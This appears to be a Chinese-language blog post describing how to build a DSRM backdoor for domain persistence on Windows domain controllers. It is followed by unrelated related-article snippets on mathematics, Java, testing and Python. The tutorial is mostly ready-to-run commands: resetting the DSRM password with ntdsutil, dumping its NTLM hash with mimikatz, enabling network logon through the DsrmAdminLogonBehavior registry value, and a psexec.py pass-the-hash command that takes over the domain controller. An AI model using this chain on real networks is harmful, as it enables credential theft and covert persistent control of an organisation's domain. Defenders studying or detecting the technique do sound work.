域权限维持之创建DSRM后门

news/2024/11/27 9:40:30/

DSRM(目录服务还原模式),在初期安装域控的时候会让我们设置DSRM的管理员密码,这个密码是为了在后期域控发生问题时修复、还原或重建活动目录。

DSRM账户实际上是administrator账户,并且该账户的密码在创建之后很少使用。该技术适用于win2008及以后版本的服务器。每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM 账号可以作为一个域控制器的本地管理员用户,可通过网络连接域控制器,进而控制域控。

通过在域控上运行NTDSUtil,可以为DSRM账户修改密码

修改DSRM账户密码
#进入ntdsutil
ntdsutil
#进入DSRM账户密码设置模式
set dsrm password
#重置 DSRM 管理员密码
reset password on server null
#输入新密码
<password>    //1324
#退出DSRM密码设置模式
q
#退出ntdsutil
q
  1. 获取DSRM账户的哈希值

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit

注意,这个NTLM和本地管理员administrator的NTLM hash不一样,这个是DSRM账户的哈希。

  1. 修改 DSRM 的登录方式

DSRM 有三种登录方式,具体如下:

  • 0:默认值,只有当域控制器重启并进入 DSRM 模式时,才可以使用 DSRM 管理员账号

  • 1:只有当本地 AD、DS 服务停止时,才可以使用 DSRM 管理员账号登录域控制器

  • 2:在任何情况下,都可以使用 DSRM 管理员账号登录域控制器

在Windows Server 2000以后的版本操作系统中,对 DSRM 使用控制台登录域控制器进行了限制。如果要使用 DSRM 账号通过网络登录域控制器,需通过注册表将该值设置为 2,从而允许DSRM账号在任何情况下都可以登录域控制器。

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /f /v DsrmAdminLogonBehavior /t REG_DWORD /d 2
  1. 此时,红队人员可以通过DSRM账户对域控制器进行控制了

如下使用DSRM账号和哈希对域控执行哈西传递并成功获取域控权限

python3 psexec.py 主机名/administrator@192.168.10.2 -hashes :哈希值 -codec 936

http://www.ppmy.cn/news/29537.html

相关文章

(邱维声)高等代数课程笔记:线性方程组解的情况及其判别准则

1.2 线性方程组解的情况及其判别准则 \quad回顾一下&#xff0c;上一节 中&#xff0c;介绍了求解一般的 nnn 元线性方程组的矩阵消元法。其一般步骤为&#xff1a; 列出原线性方程组的增广矩阵&#xff1b;通过不断地对增广矩阵作初等行变换&#xff0c;得到阶梯形矩阵&#…

hashCode 和 equals 的处理

文章目录hashCode 和 equals 的处理1. 阿里巴巴编程规范要求2. equals和hashcode的分析2.1 Object方法2.2 只覆写&#xff08;Override&#xff09;equals带来的问题问题演示问题分析问题处理hashCode 和 equals 的处理 1. 阿里巴巴编程规范要求 2. equals和hashcode的分析 2…

自动化测试实战篇(8),jmeter并发测试登录接口,模拟从100到1000个用户同时登录测试服务器压力

首先进行使用jmeter进行并发测试之前就需要搞清楚线程和进程的区别还需要理解什么是并发、高并发、并行。还需要理解高并发中的以及老生常谈的&#xff0c;TCP三次握手协议和TCP四次握手协议**TCP三次握手协议指&#xff1a;****TCP四次挥手协议&#xff1a;**进入Jmeter&#…

【编程基础之Python】8、Python复合数据类型

【编程基础之Python】8、Python复合数据类型Python复合数据类型列表&#xff08;List&#xff09;创建列表访问元素内置方法列表操作元组&#xff08;Tuple&#xff09;创建元组访问元素集合&#xff08;Set&#xff09;创建集合基本操作其他操作字典&#xff08;Dictionary&am…

Python解题 - CSDN周赛第33期

本期四道题全考过&#xff0c;题解在网上也都搜得到。。。没有想法&#xff0c;顺手水一份题解吧。 第一题&#xff1a;奇偶排序 给定一个存放整数的数组&#xff0c;重新排列数组使得数组左边为奇数&#xff0c;右边为偶数。 输入描述&#xff1a;第一行输入整数n。(1<n<…

如何从 Android 手机上的 SD 卡恢复已删除的照片

为了扩展手机的存储空间&#xff0c;很多人都会在安卓手机上插入一张SD卡来存储一些大文件&#xff0c;比如电影、照片、视频等。虽然SD卡给我们带来了很大的方便&#xff0c;但我们还是避免不了数据丢失一些事故造成的。您是否正在为 SD 卡上的照片意外丢失而苦恼&#xff1f;…

【C++】多态虚表

多态——多种形态多态的分类&#xff1a;1.静态多态&#xff1a;函数重载和运算符重载&#xff08;复用函数名&#xff09;2.动态多态&#xff1a;派生类和虚函数实现运行时多态静态多态和动态多态的区别&#xff1a;静态多态的函数地址早绑定——编译阶段确定函数地址动态多态…

JVM—类加载子系统

JVM细节版架构图 ​ 本文针对Class Loader SubSystem这一块展开讲解类加载子系统的工作流程 类加载子系统作用 1.类加载子系统负责从文件系统或者网络中加载class文件&#xff0c;class文件在文件开头有特定的文件标识即16进制CA FE BA BE&#xff1b; 2.加载后的Class类信息…